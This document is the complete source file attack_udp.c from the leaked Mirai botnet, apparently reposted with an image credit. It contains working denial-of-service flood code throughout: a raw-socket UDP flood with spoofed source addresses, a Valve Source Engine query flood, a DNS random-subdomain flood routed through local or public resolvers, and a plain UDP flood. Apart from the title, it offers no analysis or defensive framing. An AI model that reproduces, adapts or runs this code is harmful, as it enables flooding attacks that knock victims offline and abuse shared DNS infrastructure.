Mirai Botnet, attack_udp.c, image by Daniel Y. Harris
attack_udp.c
Kanz Eku
From Leaked Mirai Botnet Code
#define
_GNU_SOURCE
#ifdef
DEBUG
#include
<stdio.h>
#endif
#include
<stdlib.h>
#include
<unistd.h>
#include
<sys/socket.h>
#include
<arpa/inet.h>
#include
<linux/ip.h>
#include
<linux/udp.h>
#include
<errno.h>
#include
<fcntl.h>
#include
"includes.h"
#include
"attack.h"
#include
"checksum.h"
#include
"rand.h"
#include
"util.h"
#include
"table.h"
#include
"protocol.h"
static
ipv4_t get_dns_resolver(void);
void
attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t
opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof
(char *));
uint8_t ip_tos =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len,
opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len,
opts, ATK_OPT_DPORT, 0xffff);
uint16_t data_len =
attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand =
attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
uint32_t source_ip =
attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if (data_len > 1460)
data_len = 1460;
if ((fd = socket(AF_INET, SOCK_RAW,
IPPROTO_UDP)) == -1)
{
#ifdef
DEBUG
printf("Failed to create raw
socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
&i, sizeof (int)) == -1)
{
#ifdef
DEBUG
printf("Failed to set IP_HDRINCL.
Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
pkts[i] = calloc(1510, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct
iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 <<
14);
iph->protocol = IPPROTO_UDP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct
udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr
*)pkt;
struct udphdr *udph = (struct udphdr
*)(iph + 1);
char *data = (char *)(udph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr =
htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >>
targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id =
(uint16_t)rand_next();
if (sport == 0xffff)
udph->source = rand_next();
if (dport == 0xffff)
udph->dest = rand_next();
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check =
checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check =
checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_port =
udph->dest;
sendto(fd, pkt, sizeof (struct iphdr) +
sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr
*)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef
DEBUG
break;
if (errno != 0)
printf("errno =
%d\n", errno);
#endif
}
}
void
attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t
opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof
(char *));
uint8_t ip_tos = attack_get_opt_int(opts_len,
opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len,
opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len,
opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len,
opts, ATK_OPT_DPORT, 27015);
char *vse_payload;
int vse_payload_len;
table_unlock_val(TABLE_ATK_VSE);
vse_payload =
table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
if ((fd = socket(AF_INET, SOCK_RAW,
IPPROTO_UDP)) == -1)
{
#ifdef
DEBUG
printf("Failed to create raw
socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
&i, sizeof (int)) == -1)
{
#ifdef
DEBUG
printf("Failed to set IP_HDRINCL.
Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
char *data;
pkts[i] = calloc(128, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
data = (char *)(udph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct
iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 <<
14);
iph->protocol = IPPROTO_UDP;
iph->saddr = LOCAL_ADDR;
iph->daddr = targs[i].addr;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct
udphdr) + 4 + vse_payload_len);
*((uint32_t *)data) = 0xffffffff;
data += sizeof (uint32_t);
util_memcpy(data, vse_payload,
vse_payload_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr
*)pkt;
struct udphdr *udph = (struct
udphdr *)(iph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr =
htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >>
targs[i].netmask));
if (ip_ident == 0xffff)
iph->id =
(uint16_t)rand_next();
if (sport == 0xffff)
udph->source = rand_next();
if (dport == 0xffff)
udph->dest = rand_next();
iph->check = 0;
iph->check =
checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check =
checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof
(uint32_t) + vse_payload_len);
targs[i].sock_addr.sin_port =
udph->dest;
sendto(fd, pkt, sizeof (struct
iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len,
MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct
sockaddr_in));
}
#ifdef
DEBUG
break;
if (errno != 0)
printf("errno =
%d\n", errno);
#endif
}
}
void
attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t
opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof
(char *));
uint8_t ip_tos =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag =
attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len,
opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len,
opts, ATK_OPT_DPORT, 53);
uint16_t dns_hdr_id =
attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
uint8_t data_len =
attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
char *domain = attack_get_opt_str(opts_len,
opts, ATK_OPT_DOMAIN, NULL);
int domain_len;
ipv4_t dns_resolver = get_dns_resolver();
if (domain == NULL)
{
#ifdef
DEBUG
printf("Cannot send DNS flood
without a domain\n");
#endif
return;
}
domain_len = util_strlen(domain);
if ((fd = socket(AF_INET, SOCK_RAW,
IPPROTO_UDP)) == -1)
{
#ifdef
DEBUG
printf("Failed to create raw
socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
&i, sizeof (int)) == -1)
{
#ifdef
DEBUG
printf("Failed to set IP_HDRINCL.
Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
int ii;
uint8_t curr_word_len = 0, num_words =
0;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr *dnsh;
char *qname, *curr_lbl;
struct dns_question *dnst;
pkts[i] = calloc(600, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
dnsh = (struct dnshdr *)(udph + 1);
qname = (char *)(dnsh + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct
iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 +
domain_len + sizeof (struct dns_question));
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 <<
14);
iph->protocol = IPPROTO_UDP;
iph->saddr = LOCAL_ADDR;
iph->daddr = dns_resolver;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct
udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof
(struct dns_question));
dnsh->id = htons(dns_hdr_id);
dnsh->opts = htons(1 << 8); //
Recursion desired
dnsh->qdcount = htons(1);
// Fill out random area
*qname++ = data_len;
qname += data_len;
curr_lbl = qname;
util_memcpy(qname + 1, domain,
domain_len + 1); // Null byte at end needed
// Write in domain
for (ii = 0; ii < domain_len; ii++)
{
if (domain[ii] == '.')
{
*curr_lbl = curr_word_len;
curr_word_len = 0;
num_words++;
curr_lbl = qname + ii + 1;
}
else
curr_word_len++;
}
*curr_lbl = curr_word_len;
dnst = (struct dns_question *)(qname +
domain_len + 2);
dnst->qtype =
htons(PROTO_DNS_QTYPE_A);
dnst->qclass =
htons(PROTO_DNS_QCLASS_IP);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr
*)pkt;
struct udphdr *udph = (struct
udphdr *)(iph + 1);
struct dnshdr *dnsh = (struct
dnshdr *)(udph + 1);
char *qrand = ((char *)(dnsh + 1))
+ 1;
if (ip_ident == 0xffff)
iph->id = rand_next() &
0xffff;
if (sport == 0xffff)
udph->source = rand_next()
& 0xffff;
if (dport == 0xffff)
udph->dest = rand_next()
& 0xffff;
if (dns_hdr_id == 0xffff)
dnsh->id = rand_next() &
0xffff;
rand_alphastr((uint8_t *)qrand,
data_len);
iph->check = 0;
iph->check =
checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(iph, udph,
udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len +
2 + domain_len + sizeof (struct dns_question));
targs[i].sock_addr.sin_addr.s_addr
= dns_resolver;
targs[i].sock_addr.sin_port =
udph->dest;
sendto(fd, pkt, sizeof (struct
iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 +
domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr
*)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef
DEBUG
break;
if (errno != 0)
printf("errno =
%d\n", errno);
#endif
}
}
void
attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t
opts_len, struct attack_option *opts)
{
#ifdef
DEBUG
printf("in udp plain\n");
#endif
int i;
char **pkts = calloc(targs_len, sizeof
(char *));
int *fds = calloc(targs_len, sizeof (int));
port_t dport = attack_get_opt_int(opts_len,
opts, ATK_OPT_DPORT, 0xffff);
port_t sport = attack_get_opt_int(opts_len,
opts, ATK_OPT_SPORT, 0xffff);
uint16_t data_len =
attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand =
attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
struct sockaddr_in bind_addr = {0};
if (sport == 0xffff)
{
sport = rand_next();
} else {
sport = htons(sport);
}
#ifdef
DEBUG
printf("after args\n");
#endif
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
char *data;
pkts[i] = calloc(65535, sizeof (char));
if (dport == 0xffff)
targs[i].sock_addr.sin_port =
rand_next();
else
targs[i].sock_addr.sin_port =
htons(dport);
if ((fds[i] = socket(AF_INET,
SOCK_DGRAM, IPPROTO_UDP)) == -1)
{
#ifdef
DEBUG
printf("Failed to create udp
socket. Aborting attack\n");
#endif
return;
}
bind_addr.sin_family = AF_INET;
bind_addr.sin_port = sport;
bind_addr.sin_addr.s_addr = 0;
if (bind(fds[i], (struct sockaddr
*)&bind_addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef
DEBUG
printf("Failed to bind udp
socket.\n");
#endif
}
// For prefix attacks
if (targs[i].netmask < 32)
targs[i].sock_addr.sin_addr.s_addr
= htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >>
targs[i].netmask));
if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr,
sizeof (struct sockaddr_in)) == -1)
{
#ifdef
DEBUG
printf("Failed to connect udp
socket.\n");
#endif
}
}
#ifdef
DEBUG
printf("after setup\n");
#endif
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *data = pkts[i];
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
#ifdef
DEBUG
errno = 0;
if (send(fds[i], data, data_len,
MSG_NOSIGNAL) == -1)
{
printf("send failed:
%d\n", errno);
} else {
printf(".\n");
}
#else
send(fds[i], data, data_len,
MSG_NOSIGNAL);
#endif
}
#ifdef
DEBUG
break;
if (errno != 0)
printf("errno =
%d\n", errno);
#endif
}
}
static
ipv4_t get_dns_resolver(void)
{
int fd;
table_unlock_val(TABLE_ATK_RESOLVER);
fd = open(table_retrieve_val(TABLE_ATK_RESOLVER,
NULL), O_RDONLY);
table_lock_val(TABLE_ATK_RESOLVER);
if (fd >= 0)
{
int ret, nspos;
char resolvbuf[2048];
ret = read(fd, resolvbuf, sizeof
(resolvbuf));
close(fd);
table_unlock_val(TABLE_ATK_NSERV);
nspos = util_stristr(resolvbuf, ret,
table_retrieve_val(TABLE_ATK_NSERV, NULL));
table_lock_val(TABLE_ATK_NSERV);
if (nspos != -1)
{
int i;
char ipbuf[32];
BOOL finished_whitespace = FALSE;
BOOL found = FALSE;
for (i = nspos; i < ret; i++)
{
char c = resolvbuf[i];
// Skip leading whitespace
if (!finished_whitespace)
{
if (c == ' ' || c == '\t')
continue;
else
finished_whitespace =
TRUE;
}
// End if c is not either a dot
or a number
if ((c != '.' && (c
< '0' || c > '9')) || (i == (ret - 1)))
{
util_memcpy(ipbuf,
resolvbuf + nspos, i - nspos);
ipbuf[i - nspos] = 0;
found = TRUE;
break;
}
}
if (found)
{
#ifdef
DEBUG
printf("Found local
resolver: '%s'\n", ipbuf);
#endif
return inet_addr(ipbuf);
}
}
}
switch (rand_next() % 4)
{
case 0:
return INET_ADDR(8,8,8,8);
case 1:
return INET_ADDR(74,82,42,42);
case 2:
return INET_ADDR(64,6,64,6);
case 3:
return INET_ADDR(4,2,2,2);
}
}